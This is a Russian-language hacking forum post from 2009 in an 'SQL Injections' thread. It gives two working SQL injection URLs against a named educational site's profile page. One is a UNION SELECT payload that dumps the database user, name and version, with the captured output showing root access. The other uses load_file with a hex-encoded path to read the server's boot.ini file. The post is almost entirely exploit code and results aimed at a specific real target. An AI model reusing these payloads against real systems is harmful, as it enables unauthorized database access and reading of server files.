Тема: SQL Инъекции
Показать сообщение отдельно

  #9268  
Старый 09.05.2009, 00:48
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534

Репутация: 2731


Отправить сообщение для mailbrush с помощью ICQ
По умолчанию
Код:
http://www.hlg.edu/common/profiles/profiles.php?id=-1+union+select+1,2,3,4,5,6,7,unhex(hex(concat_ws(0x3a,user(),database(),version()))),9,10,11,12,13,14
root@localhost:site_pages:5.0.15-nt
Код:
http://www.hlg.edu/common/profiles/profiles.php?id=-1+union+select+1,2,3,load_file(0x433A5C626F6F742E696E69),5,6,7,8,9,10,11,12,13,14
boot.ini